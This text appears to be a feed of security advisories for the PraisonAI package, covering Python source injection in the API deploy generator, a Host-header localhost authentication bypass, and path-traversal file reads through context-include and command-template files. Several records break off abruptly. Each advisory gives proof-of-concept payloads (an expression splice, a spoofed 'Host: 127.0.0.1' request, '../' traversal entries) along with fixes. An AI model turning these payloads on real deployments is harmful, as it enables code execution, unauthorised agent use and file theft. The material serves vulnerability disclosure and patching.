A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:\n    ...\n    code = f'''\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host='{config.host}',\n        port={config.port},\n        debug={config.reload}\n    )\n'''\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host='' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '',\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (<side effect> and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n

control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html","cveId":"CVE-2026-61433","cvssScore":null,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","severity":"high","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-116","CWE-94","CWE-95"],"tags":["osv","osv:ghsa-79fv-7hq9-w7xg","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-79fv-7hq9-w7xg","type":"advisory","title":"OSV GHSA-79fv-7hq9-w7xg"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61433","type":"advisory","title":"OSV advisory"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62173","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator","type":"other","title":"OSV web"}],"epssScore":0.0021,"epssPercentile":0.10331,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T19:36:29.000Z","addedAt":"2026-10-08T19:47:39.017Z","updatedAt":"2026-10-08T21:08:31.085Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61433","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61433","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-79FV-7HQ9-W7XG"}]},{"id":"a915caa5-a480-4573-87f1-f0337f33dcb1","slug":"cve-2026-61435","externalId":"GHSA-2gpf-2492-q9jh","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: Call API localhost-only authentication bypass via spoofed Host header","description":"# Call API localhost-only authentication bypass via spoofed Host header\n\n## Summary\n\nPraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.\n\n## Technical Details\n\nThe affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding:\n\n```python\n_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})\n\ndef _bind_host_from_request(request: Request) -> str:\n    host = getattr(getattr(request, 'url', None), 'hostname', None)\n    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')\n\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:\n    if _call_auth_disabled():\n        bind_host = _bind_host_from_request(request)\n        if bind_host not in _LOCALHOST_HOSTS:\n            raise HTTPException(\n                status_code=503,\n                detail=\"PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding\",\n            )\n        return\n```\n\nThe violated invariant is that \"localhost binding\" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service.\n\nThe protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry.\n\nThis is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.\n\n## PoV\n\nthe PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`.\n\n```python\ndisabled_client = TestClient(app, base_url=\"http://external.example\")\n\nexternal_host = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"external.example\"},\n)\nspoofed_localhost_list = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"127.0.0.1\"},\n)\nspoofed_localhost_invoke = disabled_client.post(\n    \"/api/v1/agents/pov-agent/invoke\",\n    headers={\"host\": \"127.0.0.1\"},\n    json={\"message\": \"host-header-bypass\"},\n)\n```\n\nExpected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent.\n\nThe complete PoV script is in Appendix A.\n\n## PoC\n\nRun from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`:\n\n```bash\ngit checkout v4.6.62\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved `v4.6.62` output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"2a855c470077c7d2e2479a575f7ef7f548d51c33\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nRun the same script against current main:\n\n```bash\ngit checkout 846568c7a5d8ce9e71e56e4c213f027c04909753\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved current-head output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nThe negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution.\n\n## Impact\n\nAn unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`.\n\nImpact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family.\n\nSuggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action.\n\nSuggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.\n\n## Suggested Fix\n\nDo not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.\n\nConsider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`.\n\nRegression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs.\n\n## Affected Package/Versions\n\nAffected package: `praisonai` on PyPI.\n\nConfirmed affected:\n\n- `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33`\n- current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62`\n\n`v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.\n\nFixed version: unknown.\n\n## Advisory History\n\nI checked the repository advisory list available through GitHub and found adjacent but distinct advisories:\n\n- `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header.\n- `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `>= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`.\n- `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents >= 0.6.0, < 1.6.58` and `praisonai >= 3.10.0, < 4.6.58`, with patches listed as `praisonaiagents >= 1.6.59` and `praisonai >= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.\n- `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`.\n- `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.\n\nNo advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`.\n\n## References\n\n- `src/praisonai/praisonai/api/agent_invoke.py`\n- `src/praisonai/praisonai/cli/features/serve.py`\n- `GHSA-86qc-r5v2-v6x6`:

ContextGatherer include resolution permits absolute and traversal reads outside the workspace","description":"# ContextGatherer include resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI's `praisonai.ui.context.ContextGatherer` treats the configured `directory` as the project workspace, but project-controlled `.praisoncontext` and `.praisoninclude` files can name absolute paths or `..` traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.\n\n## Technical Details\n\n`ContextGatherer.get_include_paths()` reads include entries directly from `.praisoncontext` and `.praisoninclude` under the configured workspace. It stores each non-comment line as a raw include path:\n\n```python\ninclude_file = os.path.join(self.directory, '.praisoncontext')\nif os.path.exists(include_file):\n    with open(include_file, 'r') as f:\n        include_paths.extend(\n            line.strip() for line in f\n            if line.strip() and not line.startswith('#')\n        )\n```\n\nWhen `.praisoncontext` is present, `gather_context()` passes every include entry through `os.path.join(self.directory, include_path)` and then processes the result:\n\n```python\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThe `.praisoninclude` path has the same unsafe join after first processing the workspace:\n\n```python\nprocess_path(self.directory)\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThere is no canonicalization or containment check before `process_path()` opens files or recursively walks directories. In Python, `os.path.join(workspace, absolute_path)` returns the absolute path and discards `workspace`; `os.path.join(workspace, \"../outside.py\")` remains outside the workspace once normalized by filesystem operations. `add_file_content()` then opens the supplied path and appends file contents to the context before display bookkeeping:\n\n```python\nwith open(file_path, 'r', encoding='utf-8') as f:\n    content = f.read()\n    context.append(\n        f\"File: {file_path}\\n\\n{content}\\n\\n{'=' * 50}\\n\"\n    )\n    self.included_files.append(\n        Path(file_path).relative_to(self.directory)\n    )\n```\n\nFor parent traversal paths, `Path(file_path).relative_to(self.directory)` raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.\n\n## PoV\n\nThe minimal vulnerable shape is a workspace containing only a normal source file and one include file:\n\n```text\nworkspace/\n  .praisoncontext      # contains: ../outside_secret.py\n  inside.py\noutside_secret.py      # outside the workspace\n```\n\nRunning `ContextGatherer(directory=\"workspace\").run()` returns context containing `outside_secret.py` even though that file is outside the configured workspace. The same result occurs when `.praisoncontext` contains an absolute path to the outside file, and when `.praisoninclude` contains either the parent traversal path or the absolute path.\n\n## PoC\n\nSave the self-contained script from the Appendix below as `context_include_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai\" python context_include_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"control_inside_file_is_collected\": true,\n    \"control_without_include_does_not_read_outside\": true,\n    \"praisoncontext_absolute_path_discloses_outside\": true,\n    \"praisoncontext_parent_traversal_discloses_outside\": true,\n    \"praisoninclude_absolute_path_discloses_outside\": true,\n    \"praisoninclude_parent_traversal_discloses_outside\": true\n  },\n  \"source_commit\": \"1620b49f36945d8cc8ee5635b906c960df5097a0\",\n  \"source_file\": \"$PRAISONAI/src/praisonai/praisonai/ui/context.py\",\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled old and current releases.

Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that `ContextGatherer` considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.\n\nThis report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.\n\nSuggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake include-file path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace root once with `Path(self.directory).resolve()`.\n2. For each include entry, reject absolute paths outside the workspace.\n3. Join relative include entries to the workspace, resolve the result, and require `resolved.relative_to(workspace_root)` to succeed before opening or walking anything.\n4. Apply the helper to both `.praisoncontext` and `.praisoninclude` processing.\n5. Reject escaped directories as well as escaped files; `process_path()` can recursively walk directories.\n6. Avoid appending file content before display/bookkeeping operations that can fail.\n7. Add regression tests for `../outside.py`, absolute outside paths, and outside directories in both `.praisoncontext` and `.praisoninclude`.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_include(workspace: str, include_path: str) -> Path:\n    root = Path(workspace).resolve()\n    candidate = Path(include_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"Context include path is outside workspace: {include_path}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\n- Package: `PraisonAI` / `praisonai`\n- Component: `praisonai.ui.context.ContextGatherer`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `4.6.63`\n- Latest tested release tag: `v4.6.63`\n- Oldest sampled vulnerable release tag: `v2.3.10`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonai >= 2.3.10, <= 4.6.63\n```\n\nThe exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched `praisonai.ui.context.ContextGatherer` reading outside-workspace files because project-controlled `.praisoncontext` or `.praisoninclude` entries contain absolute paths or `..` traversal paths.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers `praisonai.ui.context.ContextGatherer` include-file processing.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers `.praisoncontext`/`.praisoninclude` entries in the classic UI context gatherer.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read. This report does not use skill tools or approval-gated skill file APIs.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152` and `GHSA-693f-pf34-72c5`: FileTools/listing path traversal surfaces. This report is not in `praisonaiagents.tools.file_tools` or legacy FileTools; it discloses file content through context-gathering output.\n- `GHSA-fwh2-95jw-g4j6`: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before `1.5.115`. This report affects current main and `4.6.63` and is triggered by `.praisoncontext`/`.praisoninclude` include paths rather than MultiAgentMonitor path parameters.\n- `GHSA-qwwv-hc99-6f5p`, `GHSA-5fr5-2c3f-3fcr`, `GHSA-gx4r-3wg8-9w5x`, and `GHSA-x44p-gg67-52fc`: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers `ContextGatherer`, `.praisoncontext`, `.praisoninclude`, or `praisonai.ui.context`.\n\nPublic search found no hits for `PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read`, `praisoninclude ContextGatherer`, or `praisonai.ui.context` in public GitHub advisory text.\n\n## References\n\n- PraisonAI repository:

Project custom command templates can read outside-workspace files into model prompts","description":"# Project custom command templates can read outside-workspace files into model prompts\n\n## Summary\n\nPraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt.\n\nThe interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.\n\nThis is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.\n\n## Technical Details\n\nThe feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:\n\n```text\ncurrent commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\ncurrent describe: v4.6.64-8-g3aa9cbc2\n```\n\n`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.\n\n`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:\n\n```python\nreturn interpolator.interpolate(command.template, arguments, Path.cwd())\n```\n\n`TemplateInterpolator._interpolate_files()` then matches every `@([^\\s]+)` token and reads the referenced file:\n\n```python\nif working_dir:\n    file_path = working_dir / file_path_str\nelse:\n    file_path = Path(file_path_str)\n\nif file_path.exists() and file_path.is_file():\n    with open(file_path, 'r') as f:\n        return f.read()\n```\n\nThere is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / \"/absolute/path\"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.\n\nThe sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.\n\n## PoV\n\nA minimal vulnerable repository only needs a project command template and an outside file:\n\n```text\nworkspace/\n  .git/\n  .praisonai/\n    commands/\n      relative_escape.md   # contains @../outside_secret.txt\n      absolute_escape.md   # contains an absolute path outside workspace\n  inside.txt\noutside_secret.txt\n```\n\nWhen the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.\n\nThe controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.\n\n## PoC\n\nFrom a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.\n\n```bash\ngit clone

It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.\n\n## Impact\n\nAn attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.\n\nThis report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.\n\nSuggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nResolve command `@path` references through a single containment helper before opening files:\n\n1. Resolve the project root or intended command workspace once.\n2. For relative references, join to that root and then call `resolve()`.\n3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed.\n4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation.\n5. Apply the same boundary to project and user command templates.\n6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.\n\nMinimal shape:\n\n```python\ndef resolve_command_file(root: Path, value: str) -> Path:\n    root = root.resolve()\n    candidate = Path(value)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"command file reference escapes workspace: {value}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\nThe feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.\n\n```text\nintroducing commit: 88cf0c29\nearliest affected release observed: 